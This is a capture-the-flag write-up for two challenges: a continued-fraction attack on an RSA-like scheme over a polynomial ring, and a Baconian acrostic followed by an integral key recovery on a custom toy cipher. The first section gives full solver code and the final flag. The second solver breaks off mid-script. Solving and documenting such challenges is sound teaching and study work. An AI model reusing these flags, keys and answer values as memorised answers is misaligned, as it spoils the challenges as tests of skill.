1. hello

Steps

1. Parse the transcript. Read N, e and the ten coefficients of c from the comment block (Sage prints c as a9*t^9 + a8*t^8 + ... + a1*t + a0; absent terms are zero).

2. Implement A in plain Python. Multiplication is a degree-<10 convolution followed by the fold x^(i+10) -> 2*x^i (a single pass suffices because the product has degree <= 18), with all coefficients reduced mod N. Exponentiation is square-and-multiply built on that operation, so no SageMath is needed.

3. Run the continued fraction. Generate convergents h/k of e / (N^5 - 1)^2 with exact integer arithmetic. For each (k, d) = (h, k) candidate, check (e*d + 1) % k == 0, form phi_cand, and apply the exact s = p^10 + q^10 split test above.

   Every check on the recovered pair reported True, as shown below.

   p*q == N .............................. True
   both prime ............................ True
   q < p < 1000*q  (author's mu bound) ... True
   phi_author == (p^10-1)(q^10-1) ........ True
   e*(phi_author - d) == 1 mod phi_author  True

4. Compute the real group exponent. Factor x^10 - 2 mod p and mod q by distinct-degree factorisation, which gives the degrees [5,5] and [1,1,4,4]. Take lambda to be the least common multiple of the corresponding p^deg - 1 and q^deg - 1 values. Verify c^lambda == 1 in A, which is the check that proves the exponent is right before anything is decrypted.

5. Decrypt. Compute D = e^(-1) mod lambda, which is 9197 bits wide, and then evaluate m = c^D in A.

6. Unpack. The 10 coefficients are the 10 message chunks. The chunk size is 6 bytes, so each coefficient is converted with int.to_bytes(6, 'big') and the results are concatenated, giving a 60-byte padded plaintext. Strip the trailing padding, which has pad_len = 3; the identity 3 == 10 - (57 % 10) confirms that the padding is self-consistent with the generator.

   Recovered plaintext: COMPFEST{c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK}

7. Decisive replay check. Re-encrypt the recovered message and compare m^e in A against the published c coefficient by coefficient. The two values were equal, which turns the recovered plaintext from plausible into proven; no flag was treated as final before this check passed.

8. Apply the flag post-processing. The recovered plaintext carries the 9-character prefix COMPFEST{, while the stated rule indexes flag[11:-1], and 11 is exactly the length of COMPFEST18{. Reading the rule against the event's flag format, the inner content is c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK and the prefix is normalised to COMPFEST18{:

   inner  = c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK
   suffix = sha256(inner)[:16] = f91f71b7c1b857d2
   flag   = COMPFEST18{ inner + "_" + suffix }

Solver

The following script is a complete, self-contained reproducer written in pure Python with gmpy2; SageMath is not required. It runs from the handout to the flag in about twelve seconds and refuses to print a flag if the re-encryption replay check fails.

import hashlib
import re
import sys
from pathlib import Path

from gmpy2 import mpz, isqrt, iroot, gcd, invert

HERE = Path(__file__).resolve()
CHALL_SAGE = HERE.parent / "chall.sage"

N_DEG = 10
R_TWIST = 2

def parse_transcript(path):
    text = Path(path).read_text()

    def grab_int(name):
        m = re.search(r"^#\s*" + name + r"\s*=\s*(\d+)\s*$", text, re.M)
        if not m:
            raise ValueError("could not parse %s" % name)
        return mpz(m.group(1))

    N = grab_int("N")
    e = grab_int("e")

    m = re.search(r"^#\s*c\s*=\s*(.+)$", text, re.M)
    if not m:
        raise ValueError("could not parse c")

    coeffs = [mpz(0)] * N_DEG
    for term in m.group(1).strip().split("+"):
        term = term.strip()
        if not term:
            continue
        mm = re.fullmatch(r"(\d+)\*t\^(\d+)", term)
        if mm:
            coeffs[int(mm.group(2))] = mpz(mm.group(1)); continue
        mm = re.fullmatch(r"(\d+)\*t", term)
        if mm:
            coeffs[1] = mpz(mm.group(1)); continue
        mm = re.fullmatch(r"(\d+)", term)
        if mm:
            coeffs[0] = mpz(mm.group(1)); continue
        raise ValueError("unparsed term in c: %r" % term)
    return N, e, coeffs

def a_mul(a, b, M):
    acc = [mpz(0)] * (2 * N_DEG - 1)
    for i in range(N_DEG):
        ai = a[i]
        if ai:
            for j in range(N_DEG):
                bj = b[j]
                if bj:
                    acc[i + j] += ai * bj

    out = [mpz(0)] * N_DEG
    for i in range(N_DEG):
        v = acc[i]
        j = i + N_DEG
        if j < len(acc):
            v += R_TWIST * acc[j]
        out[i] = v % M
    return out

def a_pow(base, exp, M):
    result = [mpz(1)] + [mpz(0)] * (N_DEG - 1)
    b = [x % M for x in base]
    ex = int(exp)
    while ex:
        if ex & 1:
            result = a_mul(result, b, M)
        ex >>= 1
        if ex:
            b = a_mul(b, b, M)
    return result

def a_is_one(v):
    return [int(x) for x in v] == [1] + [0] * (N_DEG - 1)

def convergents(num, den):
    h_prev, h = mpz(0), mpz(1)
    k_prev, k = mpz(1), mpz(0)
    a, b = mpz(num), mpz(den)
    while b:
        qq = a // b
        a, b = b, a - qq * b
        h_prev, h = h, qq * h + h_prev
        k_prev, k = k, qq * k + k_prev
        yield h, k

def factor_from_phi(phi_cand, N, N10):
    s = N10 + 1 - phi_cand
    if s <= 0:
        return None
    disc = s * s - 4 * N10
    if disc < 0:
        return None
    r = isqrt(disc)
    if r * r != disc or (s + r) % 2:
        return None
    p, ok1 = iroot((s + r) // 2, N_DEG)
    if not ok1:
        return None
    q, ok2 = iroot((s - r) // 2, N_DEG)
    if not ok2 or p * q != N:
        return None
    return int(p), int(q)

def _poly_trim(a):
    while a and a[-1] == 0:
        a.pop()
    return a

def _poly_rem(a, b, P):
    a = _poly_trim([x % P for x in a])
    b = _poly_trim([x % P for x in b])
    inv = pow(b[-1], -1, P)
    while a and len(a) >= len(b):
        cf = a[-1] * inv % P
        sh = len(a) - len(b)
        for i, bi in enumerate(b):
            a[sh + i] = (a[sh + i] - cf * bi) % P
        _poly_trim(a)
    return a

def _poly_gcd(a, b, P):
    a = _poly_trim([x % P for x in a])
    b = _poly_trim([x % P for x in b])
    while b:
        a, b = b, _poly_rem(a, b, P)
    return a

def factor_degrees(P):
    modpoly = [(-R_TWIST) % P] + [0] * (N_DEG - 1) + [1]
    h = [mpz(0), mpz(1)] + [mpz(0)] * (N_DEG - 2)
    degs, seen = [], 0
    for d in range(1, N_DEG + 1):
        h = a_pow(h, P, P)
        hm = [int(v) for v in h]
        hm[1] = (hm[1] - 1) % P
        g = _poly_gcd(hm, modpoly, P)
        gd = (len(g) - 1) if g else 0
        if gd > seen:
            degs += [d] * ((gd - seen) // d)
            seen = gd
        if seen == N_DEG:
            break
    return degs

def group_exponent(P):
    lam = mpz(1)
    for d in factor_degrees(P):
        o = mpz(P) ** d - 1
        lam = lam * o // gcd(lam, o)
    return lam

def decode_message(coeffs):
    chunk_size = max(max(1, (int(x).bit_length() + 7) // 8) for x in coeffs)
    return b"".join(int(x).to_bytes(chunk_size, "big") for x in coeffs), chunk_size

def unpad(padded):
    if not padded:
        return None
    pl = padded[-1]
    if not (1 <= pl <= N_DEG) or pl > len(padded):
        return None
    if padded[-pl:] != bytes([pl]) * pl:
        return None
    flag = padded[:-pl]
    if pl != N_DEG - (len(flag) % N_DEG):
        return None
    return flag

def sha16(s):
    return hashlib.sha256(s.encode()).hexdigest()[:16]

def main():
    N, e, c = parse_transcript(CHALL_SAGE)
    print("[*] transcript: %s" % CHALL_SAGE)
    print("[*] N: %d bits   e: %d bits   c: %d/%d nonzero coefficients"
          % (N.bit_length(), e.bit_length(), sum(1 for x in c if x), N_DEG))

    N10 = N ** N_DEG
    phi_approx = (N ** (N_DEG // 2) - 1) ** 2
    print("[*] step 1: continued fraction of e / (N^5 - 1)^2 ...")

    hit = None
    for idx, (k, d) in enumerate(convergents(e, phi_approx)):
        if k == 0 or d == 0:
            continue
        t = e * d + 1
        if t % k:
            continue
        phi_cand = t // k
        pq = factor_from_phi(phi_cand, N, N10)
        if pq:
            hit = (idx, k, d, phi_cand, pq[0], pq[1])
            break
    if hit is None:
        print("[-] no convergent yielded a structurally valid phi")
        return 1

    idx, k, d, phi_author, p, q = hit
    print("[+] hit at convergent #%d" % idx)
    print("[+] d = %d" % d)
    print("[+] k = %d" % k)
    print("[+] p = %d" % p)
    print("[+] q = %d" % q)
    print("[+]   p*q == N ................................ %s" % (p * q == N))
    print("[+]   both prime .............................. %s"
          % (__import__("sympy").isprime(p) and __import__("sympy").isprime(q)))
    print("[+]   q < p < 1000*q (author's mu bound) ...... %s" % (q < p < 1000 * q))
    print("[+]   phi_author == (p^10-1)(q^10-1) .......... %s"
          % (phi_author == (mpz(p) ** N_DEG - 1) * (mpz(q) ** N_DEG - 1)))
    print("[+]   e*(phi_author - d) == 1 mod phi_author .. %s"
          % ((e * (phi_author - d)) % phi_author == 1))

    print("[*] step 2: x^10 - 2 factor degrees  mod p: %s   mod q: %s"
          % (factor_degrees(p), factor_degrees(q)))
    lam_p, lam_q = group_exponent(p), group_exponent(q)
    lam = lam_p * lam_q // gcd(lam_p, lam_q)
    print("[*] lambda = lcm(exponents) : %d bits   gcd(e, lambda) = %d"
          % (lam.bit_length(), gcd(e, lam)))
    print("[+]   c^lambda == 1 in A ...................... %s"
          % a_is_one(a_pow(c, lam, N)))
    print("[!]   c^phi_author == 1 in A .................. %s   <- author's bug"
          % a_is_one(a_pow(c, phi_author, N)))

    D = invert(e, lam)
    print("[*] decrypting: c^D in A, D is %d bits ..." % D.bit_length())
    m = a_pow(c, D, N)

    padded, chunk_size = decode_message(m)
    print("[*] chunk_size = %d, padded length = %d" % (chunk_size, len(padded)))
    flag_bytes = unpad(padded)
    if flag_bytes is None:
        print("[-] padding check FAILED: %r" % padded)
        return 1
    F = flag_bytes.decode()

    ok = [int(a) for a in a_pow(m, e, N)] == [int(b) for b in c]
    print()
    print("[+] RECOVERED PLAINTEXT : %s" % F)
    print("[+]   padding: pad_len = %d == 10 - (%d %% 10) ... %s"
          % (padded[-1], len(flag_bytes), padded[-1] == N_DEG - (len(flag_bytes) % N_DEG)))
    print("[+]   RE-ENCRYPTION  m^e == c ................. %s" % ok)
    if not ok:
        print("[-] replay check failed; refusing to report a flag")
        return 1

    inner = F[F.index("{") + 1:-1]
    primary = "COMPFEST18{" + inner + "_" + sha16(inner) + "}"
    literal = F[:-1] + "_" + sha16(F[11:-1]) + "}"
    alt = "COMPFEST18{" + inner + "_" + sha16(F[11:-1]) + "}"

    print()
    print("[+] FINAL FLAG (primary, matches event regex):")
    print("      %s" % primary)
    print("[ ] alt 1 - description applied literally to the recovered string:")
    print("      %s" % literal)
    print("[ ] alt 2 - COMPFEST18 prefix but hash of literal F[11:-1]:")
    print("      %s" % alt)
    print()
    print("[*] primary matches COMPFEST18{[A-Za-z0-9_-]+} : %s"
          % bool(re.fullmatch(r"COMPFEST18\{[A-Za-z0-9_-]+\}", primary)))
    return 0

if __name__ == "__main__":
    sys.exit(main())

Exploit

import argparse
import hashlib
import re
from dataclasses import dataclass
from pathlib import Path

from gmpy2 import gcd, invert, iroot, isqrt, mpz


DEGREE = 10
TWIST = 2


@dataclass(frozen=True)
class SolveResult:
    plaintext: str
    flag: str
    replay_ok: bool
    convergent_index: int
    p: int
    q: int
    d: int
    factor_degrees_p: tuple[int, ...]
    factor_degrees_q: tuple[int, ...]
    lambda_bits: int
    ciphertext_power_lambda_is_one: bool
    ciphertext_power_author_phi_is_one: bool


def parse_transcript(path: Path):
    text = Path(path).read_text()

    def grab_integer(name: str) -> mpz:
        match = re.search(
            r"^(?:#\s*)?" + name + r"\s*=\s*(\d+)\s*$", text, re.M
        )
        if not match:
            raise ValueError(f"could not parse {name}")
        return mpz(match.group(1))

    modulus = grab_integer("N")
    exponent = grab_integer("e")
    match = re.search(r"^(?:#\s*)?c\s*=\s*(\d.*)$", text, re.M)
    if not match:
        raise ValueError("could not parse c")

    coefficients = [mpz(0)] * DEGREE
    for raw_term in match.group(1).strip().split("+"):
        term = raw_term.strip()
        power_term = re.fullmatch(r"(\d+)\*t\^(\d+)", term)
        if power_term:
            coefficients[int(power_term.group(2))] = mpz(power_term.group(1))
            continue
        linear_term = re.fullmatch(r"(\d+)\*t", term)
        if linear_term:
            coefficients[1] = mpz(linear_term.group(1))
            continue
        constant_term = re.fullmatch(r"(\d+)", term)
        if constant_term:
            coefficients[0] = mpz(constant_term.group(1))
            continue
        raise ValueError(f"unparsed ciphertext term: {term!r}")
    return modulus, exponent, coefficients


def a_mul(left, right, modulus):
    convolution = [mpz(0)] * (2 * DEGREE - 1)
    for i, left_value in enumerate(left):
        if not left_value:
            continue
        for j, right_value in enumerate(right):
            if right_value:
                convolution[i + j] += left_value * right_value

    result = [mpz(0)] * DEGREE
    for i in range(DEGREE):
        value = convolution[i]
        folded_index = i + DEGREE
        if folded_index < len(convolution):
            value += TWIST * convolution[folded_index]
        result[i] = value % modulus
    return result


def a_pow(base, exponent, modulus):
    result = [mpz(1)] + [mpz(0)] * (DEGREE - 1)
    power = [value % modulus for value in base]
    remaining = int(exponent)
    while remaining:
        if remaining & 1:
            result = a_mul(result, power, modulus)
        remaining >>= 1
        if remaining:
            power = a_mul(power, power, modulus)
    return result


def a_is_one(value) -> bool:
    return [int(item) for item in value] == [1] + [0] * (DEGREE - 1)


def convergents(numerator, denominator):
    previous_h, h = mpz(0), mpz(1)
    previous_k, k = mpz(1), mpz(0)
    left, right = mpz(numerator), mpz(denominator)
    while right:
        quotient = left // right
        left, right = right, left - quotient * right
        previous_h, h = h, quotient * h + previous_h
        previous_k, k = k, quotient * k + previous_k
        yield h, k


def factor_from_phi(phi_candidate, modulus, modulus10):
    power_sum = modulus10 + 1 - phi_candidate
    if power_sum <= 0:
        return None
    discriminant = power_sum * power_sum - 4 * modulus10
    if discriminant < 0:
        return None
    root = isqrt(discriminant)
    if root * root != discriminant or (power_sum + root) % 2:
        return None
    p, p_exact = iroot((power_sum + root) // 2, DEGREE)
    q, q_exact = iroot((power_sum - root) // 2, DEGREE)
    if not p_exact or not q_exact or p * q != modulus:
        return None
    return int(p), int(q)


def _poly_trim(polynomial):
    while polynomial and polynomial[-1] == 0:
        polynomial.pop()
    return polynomial


def _poly_remainder(dividend, divisor, prime):
    dividend = _poly_trim([value % prime for value in dividend])
    divisor = _poly_trim([value % prime for value in divisor])
    inverse_lead = pow(divisor[-1], -1, prime)
    while dividend and len(dividend) >= len(divisor):
        coefficient = dividend[-1] * inverse_lead % prime
        shift = len(dividend) - len(divisor)
        for i, value in enumerate(divisor):
            dividend[shift + i] = (dividend[shift + i] - coefficient * value) % prime
        _poly_trim(dividend)
    return dividend


def _poly_gcd(left, right, prime):
    left = _poly_trim([value % prime for value in left])
    right = _poly_trim([value % prime for value in right])
    while right:
        left, right = right, _poly_remainder(left, right, prime)
    return left


def factor_degrees(prime):
    modulus_polynomial = [(-TWIST) % prime] + [0] * (DEGREE - 1) + [1]
    frobenius = [mpz(0), mpz(1)] + [mpz(0)] * (DEGREE - 2)
    degrees = []
    seen_degree = 0
    for degree in range(1, DEGREE + 1):
        frobenius = a_pow(frobenius, prime, prime)
        difference = [int(value) for value in frobenius]
        difference[1] = (difference[1] - 1) % prime
        common = _poly_gcd(difference, modulus_polynomial, prime)
        accumulated_degree = len(common) - 1 if common else 0
        if accumulated_degree > seen_degree:
            degrees.extend([degree] * ((accumulated_degree - seen_degree) // degree))
            seen_degree = accumulated_degree
        if seen_degree == DEGREE:
            break
    return degrees


def group_exponent(prime):
    exponent = mpz(1)
    for degree in factor_degrees(prime):
        factor_order = mpz(prime) ** degree - 1
        exponent = exponent * factor_order // gcd(exponent, factor_order)
    return exponent


def decode_message(coefficients):
    chunk_size = max(
        max(1, (int(value).bit_length() + 7) // 8) for value in coefficients
    )
    padded = b"".join(
        int(value).to_bytes(chunk_size, "big") for value in coefficients
    )
    return padded, chunk_size


def unpad(padded):
    if not padded:
        return None
    pad_length = padded[-1]
    if not 1 <= pad_length <= DEGREE or pad_length > len(padded):
        return None
    if padded[-pad_length:] != bytes([pad_length]) * pad_length:
        return None
    message = padded[:-pad_length]
    if pad_length != DEGREE - len(message) % DEGREE:
        return None
    return message


def sha16(value: str) -> str:
    return hashlib.sha256(value.encode()).hexdigest()[:16]


def solve(path: Path) -> SolveResult:
    modulus, exponent, ciphertext = parse_transcript(path)
    modulus10 = modulus**DEGREE
    phi_approximation = (modulus ** (DEGREE // 2) - 1) ** 2

    recovered = None
    for index, (k, d) in enumerate(convergents(exponent, phi_approximation)):
        if not k or not d:
            continue
        numerator = exponent * d + 1
        if numerator % k:
            continue
        author_phi = numerator // k
        factors = factor_from_phi(author_phi, modulus, modulus10)
        if factors:
            recovered = index, d, author_phi, factors[0], factors[1]
            break
    if recovered is None:
        raise ValueError("no convergent yielded valid factors")

    convergent_index, d, author_phi, p, q = recovered
    degrees_p = tuple(factor_degrees(p))
    degrees_q = tuple(factor_degrees(q))
    lambda_p = group_exponent(p)
    lambda_q = group_exponent(q)
    group_lambda = lambda_p * lambda_q // gcd(lambda_p, lambda_q)

    lambda_check = a_is_one(a_pow(ciphertext, group_lambda, modulus))
    author_check = a_is_one(a_pow(ciphertext, author_phi, modulus))
    if not lambda_check:
        raise ValueError("derived group exponent failed its ring check")

    decryption_exponent = invert(exponent, group_lambda)
    message_coefficients = a_pow(ciphertext, decryption_exponent, modulus)
    padded, _ = decode_message(message_coefficients)
    message_bytes = unpad(padded)
    if message_bytes is None:
        raise ValueError("recovered message failed padding validation")
    plaintext = message_bytes.decode()

    replay_ok = [int(value) for value in a_pow(message_coefficients, exponent, modulus)] == [
        int(value) for value in ciphertext
    ]
    if not replay_ok:
        raise ValueError("re-encryption did not reproduce the ciphertext")

    inner = plaintext[plaintext.index("{") + 1 : -1]
    flag = f"COMPFEST18{{{inner}_{sha16(inner)}}}"
    return SolveResult(
        plaintext=plaintext,
        flag=flag,
        replay_ok=replay_ok,
        convergent_index=convergent_index,
        p=p,
        q=q,
        d=int(d),
        factor_degrees_p=degrees_p,
        factor_degrees_q=degrees_q,
        lambda_bits=group_lambda.bit_length(),
        ciphertext_power_lambda_is_one=lambda_check,
        ciphertext_power_author_phi_is_one=author_check,
    )


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("chall_sage", type=Path)
    args = parser.parse_args()

    result = solve(args.chall_sage)
    print(f"convergent index: {result.convergent_index}")
    print(f"factor degrees mod p: {list(result.factor_degrees_p)}")
    print(f"factor degrees mod q: {list(result.factor_degrees_q)}")
    print(f"lambda bits: {result.lambda_bits}")
    print(f"c^lambda == 1: {result.ciphertext_power_lambda_is_one}")
    print(f"c^author_phi == 1: {result.ciphertext_power_author_phi_is_one}")
    print(f"re-encryption m^e == c: {result.replay_ok}")
    print(f"plaintext: {result.plaintext}")
    print(f"flag: {result.flag}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Final Flag

COMPFEST18{c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK_f91f71b7c1b857d2}

2. The 67th Line

Steps

1. Query the Instagram web-profile JSON endpoint for kuliah67.archive, remembering that the logged-out HTML page is a false 404 that a control fetch of a known-good account disproves, and save all four captions.

2. Take the three 35-line captions in post order, map each line's initial word to B = 0 or O = 1, and read the 105 bits as 21 Baconian quintets. Extend the alphabet with 26 = . and 27 = / as the caption's own "Beyond Z" line instructs. The result is ristek.link/astergate.

3. Follow the redirect chain to the Google Drive folder and download Archive.zip (sha256 ffa8b140cbec1819ed648c2303747857159f0eed2c34406876e73c7315aecf78), then extract chall.py, records.bin, records.json and sealed.json.

4. Parse records.json and keep only the dimension-9 sets, which are 60 of the 74.

5. Precompute all 4096 output matrices and their inverse lookup tables, which takes about 0.6 seconds.

6. For each byte position i independently, try all 4096 candidate values of hi[i], invert the output layer for that byte across a whole dimension-9 set, and keep the candidates for which the XOR over the set is 0. Intersect two or three sets to leave a single survivor per byte, as listed below.

   byte  0: hi=0x32e   byte  4: hi=0x55e   byte  8: hi=0x298
   byte  1: hi=0xbee   byte  5: hi=0xf82   byte  9: hi=0xd04
   byte  2: hi=0xc01   byte  6: hi=0xefc   byte 10: hi=0xb58
   byte  3: hi=0x9ae   byte  7: hi=0x476   byte 11: hi=0xcad

7. Derive lo[] algebraically from the now-known round keys, without any search. The full key is the following.

   [0x32e8d, 0xbee50, 0xc0187, 0x9ae40, 0x55edd,
    0xf8201, 0xefc0a, 0x4764a, 0x29817, 0xd0466,
    0xb5803, 0xcaded]

8. Run two independent verifications, both of which were required before the key was trusted.

   • Re-encrypt every recorded block with the recovered key, which reproduces records.bin with 33536 of 33536 blocks matching.
   • Run open_sealed() on sealed.json, whose HMAC-SHA256 tag authenticates; this is an independent check because the seal key is sha256(D + b'/seal/' + key) over the full 240 bits, lo included.

9. Read the sealed payload, which is the 32-byte answer shown below.

   H = 5e9e8bf77207eca9c6906e80a57aa0e426f18ab8825a7b0f656cfa5d888a81c9

10. Apply the stated format, in which "sha256(that 64 lowercase hexadecimal characters)" means the hash of the ASCII string, giving sha256(H)[:16] = aefbd0dc566889bb. The raw-bytes reading would instead give 5691e86656d88908, but the ASCII reading is the correct one.

Solver

The script below is an offline, deterministic reproducer for stages 2 and 3, covering the acrostic decode as well as the full key recovery and the seal opening. It runs in about 5 seconds and refuses to emit a flag unless both verifications pass, and it expects the extracted archive in gate/ alongside it.

from __future__ import annotations
import argparse, glob, hashlib, hmac, json, os, sys, time
from pathlib import Path

import numpy as np

HERE = Path(__file__).resolve().parent

BACON_EXTRA = {26: ".", 27: "/"}

def stage1_decode(evidence_dir: Path) -> str:
    first_words: list[str] = []

    for i in (1, 2, 3):
        hits = sorted(glob.glob(str(evidence_dir / f"post{i}_*_caption.txt")))
        if not hits:
            raise SystemExit(f"missing caption file for post{i} in {evidence_dir}")
        for line in Path(hits[0]).read_text(encoding="utf-8").split("\n"):
            line = line.strip()
            if line and not line.startswith("#"):
                first_words.append(line.split()[0])

    assert len(first_words) == 105, len(first_words)
    bits = "".join("1" if w[0] == "O" else "0" for w in first_words)

    out = []
    for i in range(0, len(bits), 5):
        v = int(bits[i:i + 5], 2)
        out.append(chr(65 + v) if v < 26 else BACON_EXTRA[v])
    decoded = "".join(out)
    return decoded

N = 12
P = 96
D = b'ASTERGATE/GMI/3'

def _f(x: int) -> int:
    b = [(x >> i) & 1 for i in range(4)]
    o = (b[0] ^ (b[1] & b[2]), b[1] ^ (b[2] & b[3]),
         b[2] ^ (b[3] & b[0]), b[3] ^ (b[0] & b[1]))
    return sum(v << i for i, v in enumerate(o))

def _g(x: int) -> int:
    l = x & 15; r = x >> 4
    return r | ((l ^ _f(r)) << 4)

def _h(x: int) -> int:
    b = [(x >> i) & 1 for i in range(4)]
    o = (b[0] ^ (b[2] & b[3]), b[1] ^ (b[0] & b[3]),
         b[2] ^ (b[0] & b[1]), b[3] ^ (b[1] & b[2]))
    return sum(v << i for i, v in enumerate(o))

def _q(x: int) -> int:
    l = x & 15; r = x >> 4
    return r | ((l ^ _h(r)) << 4)

def _rank(rows: list[int]) -> int:
    a = rows[:]; r = 0
    for c in range(8):
        p = next((i for i in range(r, len(a)) if (a[i] >> c) & 1), None)
        if p is None:
            continue
        a[r], a[p] = a[p], a[r]
        for i in range(len(a)):
            if i != r and ((a[i] >> c) & 1):
                a[i] ^= a[r]
        r += 1
    return r

_MATRIX_CACHE: dict[int, list[int]] = {}

def matrix(index: int) -> list[int]:
    if not 0 <= index < 4096:
        raise ValueError('matrix index')
    if index in _MATRIX_CACHE:
        return _MATRIX_CACHE[index]
    c = 0
    while True:
        z = hashlib.sha256(D + b'/matrix/' + index.to_bytes(2, 'little')
                           + c.to_bytes(2, 'little')).digest()
        rows = list(z[:8])
        if _rank(rows) == 8:
            _MATRIX_CACHE[index] = rows
            return rows
        c += 1

def _apply(rows: list[int], x: int) -> int:
    return sum(((rows[i] & x).bit_count() & 1) << i for i in range(8))

def _permute(state: bytes) -> bytes:
    x = int.from_bytes(state, 'little'); y = 0
    for i in range(P):
        y |= ((x >> i) & 1) << ((29 * i + 17) % P)
    return y.to_bytes(N, 'little')

def _material(key: list[int]) -> bytes:
    if len(key) != N or any(not 0 <= x < (1 << 20) for x in key):
        raise ValueError('key')
    return b''.join(x.to_bytes(3, 'little') for x in key)

def _round_material(key: list[int]) -> bytes:
    return b''.join((x >> 8).to_bytes(2, 'little') for x in key)

def _round_key(key: list[int], r: int) -> bytes:
    return hashlib.sha256(D + b'/round/' + bytes([r]) + _round_material(key)).digest()[:N]

def encrypt_block(block: bytes, key: list[int]) -> bytes:
    if len(block) != N:
        raise ValueError('block')
    s = bytes(block)
    for r in range(3):
        k = _round_key(key, r)
        s = bytes(_g(a ^ b) for a, b in zip(s, k))
        s = _permute(s)
    k = _round_key(key, 3)
    s = bytes(a ^ b for a, b in zip(s, k))
    out = []
    for i, x in enumerate(s):
        seed = key[i]; rows = matrix(seed >> 8)
        out.append(_apply(rows, _q(x)) ^ (seed & 255))
    return bytes(out)

def _root(key: list[int]) -> bytes:
    return hashlib.sha256(D + b'/seal/' + _material(key)).digest()

def open_sealed(obj: dict, key: list[int]) -> bytes:
    root = _root(key)
    nonce = bytes.fromhex(obj['n']); ct = bytes.fromhex(obj['c']); tag = bytes.fromhex(obj['t'])
    ek = hashlib.sha256(D + b'/enc/' + root).digest()
    mk = hashlib.sha256(D + b'/mac/' + root).digest()
    if not hmac.compare_digest(tag, hmac.new(mk, D + nonce + ct, hashlib.sha256).digest()[:16]):
        raise ValueError('authentication')
    stream = bytearray(); i = 0
    while len(stream) < len(ct):
        stream.extend(hmac.new(ek, nonce + i.to_bytes(8, 'little'), hashlib.sha256).digest())
        i += 1
    return bytes(a ^ b for a, b in zip(ct, stream))

def build_tables():
    Q = np.array([_q(x) for x in range(256)], dtype=np.uint8)
    Qinv = np.zeros(256, dtype=np.uint8)
    for x in range(256):
        Qinv[Q[x]] = x
    assert len(set(Q.tolist())) == 256, "q must be a bijection"
    return Q, Qinv

def gf2_inverse_rows(rows: list[int]) -> list[int]:
    a = [(rows[i], 1 << i) for i in range(8)]
    r = 0
    for c in range(8):
        p = next((i for i in range(r, 8) if (a[i][0] >> c) & 1), None)
        assert p is not None, "singular matrix"
        a[r], a[p] = a[p], a[r]
        for i in range(8):
            if i != r and ((a[i][0] >> c) & 1):
                a[i] = (a[i][0] ^ a[r][0], a[i][1] ^ a[r][1])
        r += 1

    order = {}
    for lhs, rhs in a:
        order[lhs.bit_length() - 1] = rhs
    return [order[i] for i in range(8)]

def build_luts(Qinv):
    PAR = np.array([bin(v).count("1") & 1 for v in range(256)], dtype=np.uint8)
    xs = np.arange(256, dtype=np.uint8)
    fwd = np.zeros((4096, 256), dtype=np.uint8)
    inv = np.zeros((4096, 256), dtype=np.uint8)
    for hi in range(4096):
        rows = matrix(hi)
        irows = gf2_inverse_rows(rows)
        f = np.zeros(256, dtype=np.uint8)
        t = np.zeros(256, dtype=np.uint8)
        for i in range(8):
            f |= PAR[rows[i] & xs] << i
            t |= PAR[irows[i] & xs] << i
        fwd[hi] = f
        inv[hi] = t
    return fwd, inv

def candidates_for_byte(ct_set: np.ndarray, b: int, inv: np.ndarray, Qinv: np.ndarray,
                        restrict: np.ndarray | None = None):
    col = ct_set[:, b]

    par = np.bincount(col, minlength=256) & 1
    S = np.nonzero(par)[0].astype(np.uint8)
    if S.size == 0:

        return np.ones((4096, 256), dtype=bool)

    his = np.arange(4096) if restrict is None else restrict
    ok = np.zeros((4096, 256), dtype=bool)
    cs = np.arange(256, dtype=np.uint8)
    CH = 512
    for st in range(0, len(his), CH):
        idx = his[st:st + CH]

        u = inv[np.ix_(idx, S.astype(np.intp))]

        t = Qinv[u[:, None, :] ^ cs[None, :, None]]
        res = np.bitwise_xor.reduce(t, axis=2)
        ok[idx] = (res == 0)
    return ok

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--evidence", default=str(HERE / "evidence"))
    ap.add_argument("--gate", default=str(HERE / "gate"))
    args = ap.parse_args()
    ev = Path(args.evidence); gate = Path(args.gate)

    print("=" * 72)
    print("STAGE 1: Baconian acrostic in the @kuliah67.archive captions")
    print("=" * 72)
    decoded = stage1_decode(ev)
    print("  decoded 21 Baconian symbols :", decoded)
    url = "https://" + decoded.lower()
    print("  -> sealed gate URL          :", url)
    print("  -> redirects to Google Drive folder 'astergate' -> Archive.zip")
    assert decoded == "RISTEK.LINK/ASTERGATE", decoded

    print()
    print("=" * 72)
    print("STAGE 2: integral / higher-order-differential key recovery")
    print("=" * 72)
    meta = json.loads((gate / "records.json").read_text())
    blob = (gate / "records.bin").read_bytes()
    sealed = json.loads((gate / "sealed.json").read_text())
    blocks = np.frombuffer(blob, dtype=np.uint8).reshape(-1, N)
    print(f"  {len(meta['sets'])} sets, {blocks.shape[0]} blocks of {N} bytes")

    d9 = [s for s in meta["sets"] if s["d"] == 9]
    print(f"  usable dim-9 sets (degree 8 < 9): {len(d9)}")

    Q, Qinv = build_tables()
    t0 = time.time()
    print("  building 4096 output matrices + inverse LUTs ...", end="", flush=True)
    fwd, inv = build_luts(Qinv)
    print(f" {time.time()-t0:.1f}s")

    print("  phase 1: integral recovery of hi[] (matrix selector, 12 bits/byte)")
    his: list[int] = []
    for b in range(N):
        t1 = time.time()
        alive = np.arange(4096)
        used = 0
        for s in d9:
            ct = blocks[s["offset"]: s["offset"] + s["count"]]
            m = candidates_for_byte(ct, b, inv, Qinv, alive)
            alive = np.nonzero(m.any(axis=1))[0]
            used += 1
            if len(alive) == 1:
                break
        assert len(alive) == 1, f"byte {b}: {len(alive)} hi candidates left"
        hi = int(alive[0]); his.append(hi)
        print(f"    byte {b:2d}: hi=0x{hi:03x}  ({used} sets, {time.time()-t1:.1f}s)")

    print("  phase 2: deriving lo[] from the now-known round keys")
    probe = meta["sets"][0]
    pt0 = bytes.fromhex(probe["base"])
    ct0 = bytes(blocks[probe["offset"]])
    kdummy = [(h << 8) for h in his]
    s = bytes(pt0)
    for r in range(3):
        k = _round_key(kdummy, r)
        s = bytes(_g(a ^ b) for a, b in zip(s, k))
        s = _permute(s)
    s = bytes(a ^ b for a, b in zip(s, _round_key(kdummy, 3)))
